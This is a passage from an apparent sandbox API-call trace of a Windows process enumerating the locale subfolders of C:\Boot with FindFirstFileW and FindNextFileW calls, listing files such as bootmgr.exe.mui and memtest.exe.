dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7522d0 [0053.824] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.824] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0053.824] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0053.824] FindClose (in: hFindFile=0x7522d0 | out: hFindFile=0x7522d0) returned 1 [0053.824] GetProcessHeap () returned 0x730000 [0053.824] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e92880 | out: hHeap=0x730000) returned 1 [0053.824] FindNextFileW (in: hFindFile=0x752290, lpFindFileData=0x2caf6a8 | out: lpFindFileData=0x2caf6a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0053.824] GetProcessHeap () returned 0x730000 [0053.824] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2e92880 [0053.824] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ja-JP\\*", lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7522d0 [0053.824] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.824] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0053.824] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0053.824] FindClose (in: hFindFile=0x7522d0 | out: hFindFile=0x7522d0) returned 1 [0053.825] GetProcessHeap () returned 0x730000 [0053.825] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e92880 | out: hHeap=0x730000) returned 1 [0053.825] FindNextFileW (in: hFindFile=0x752290, lpFindFileData=0x2caf6a8 | out: lpFindFileData=0x2caf6a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0053.825] GetProcessHeap () returned 0x730000 [0053.825] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2e92880 [0053.825] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ko-KR\\*", lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7522d0 [0053.825] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.825] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0053.825] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0053.825] FindClose (in: hFindFile=0x7522d0 | out: hFindFile=0x7522d0) returned 1 [0053.825] GetProcessHeap () returned 0x730000 [0053.825] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e92880 | out: hHeap=0x730000) returned 1 [0053.825] FindNextFileW (in: hFindFile=0x752290, lpFindFileData=0x2caf6a8 | out: lpFindFileData=0x2caf6a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0053.825] FindNextFileW (in: hFindFile=0x752290, lpFindFileData=0x2caf6a8 | out: lpFindFileData=0x2caf6a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0053.825] GetProcessHeap () returned 0x730000 [0053.825] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2e92880 [0053.826] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nb-NO\\*", lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7522d0 [0053.826] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.826] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0053.826] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0053.826] FindClose (in: hFindFile=0x7522d0 | out: hFindFile=0x7522d0) returned 1 [0053.826] GetProcessHeap () returned 0x730000 [0053.826] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e92880 | out: hHeap=0x730000) returned 1 [0053.826] FindNextFileW (in: hFindFile=0x752290, lpFindFileData=0x2caf6a8 | out: lpFindFileData=0x2caf6a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0053.826] GetProcessHeap () returned 0x730000 [0053.826] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2e92880 [0053.826] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nl-NL\\*", lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7522d0 [0053.826] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.826] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0053.826] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0053.827] FindClose (in: hFindFile=0x7522d0 | out: hFindFile=0x7522d0) returned 1 [0053.827] GetProcessHeap () returned 0x730000 [0053.827] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e92880 | out: hHeap=0x730000) returned 1 [0053.827] FindNextFileW (in: hFindFile=0x752290, lpFindFileData=0x2caf6a8 | out: lpFindFileData=0x2caf6a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0053.827] GetProcessHeap () returned 0x730000 [0053.827] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2e92880 [0053.827] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pl-PL\\*", lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7522d0 [0053.827] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.827] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0053.827] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0053.827] FindClose (in: hFindFile=0x7522d0 | out: hFindFile=0x7522d0) returned 1 [0053.828] GetProcessHeap () returned 0x730000 [0053.828] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e92880 | out: hHeap=0x730000) returned 1 [0053.828] FindNextFileW (in: hFindFile=0x752290, lpFindFileData=0x2caf6a8 | out: lpFindFileData=0x2caf6a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0053.828] GetProcessHeap () returned 0x730000 [0053.828] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2e92880 [0053.828] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-BR\\*", lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7522d0 [0053.828] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.828] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0053.828] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0053.828] FindClose (in: hFindFile=0x7522d0 | out: hFindFile=0x7522d0) returned 1 [0053.828] GetProcessHeap () returned 0x730000 [0053.828] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e92880 | out: hHeap=0x730000) returned 1 [0053.828] FindNextFileW (in: hFindFile=0x752290, lpFindFileData=0x2caf6a8 | out: lpFindFileData=0x2caf6a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0053.828] GetProcessHeap () returned 0x730000 [0053.828] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2e92880 [0053.828] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-PT\\*", lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7522d0 [0053.829] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.829] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0053.829] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0053.829] FindClose (in: hFindFile=0x7522d0 | out: hFindFile=0x7522d0) returned 1 [0053.829] GetProcessHeap () returned 0x730000 [0053.829] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e92880 | out: hHeap=0x730000) returned 1 [0053.829] FindNextFileW (in: hFindFile=0x752290, lpFindFileData=0x2caf6a8 | out: lpFindFileData=0x2caf6a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0053.829] GetProcessHeap () returned 0x730000 [0053.829] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2e92880 [0053.829] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ru-RU\\*", lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7522d0 [0053.829] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: 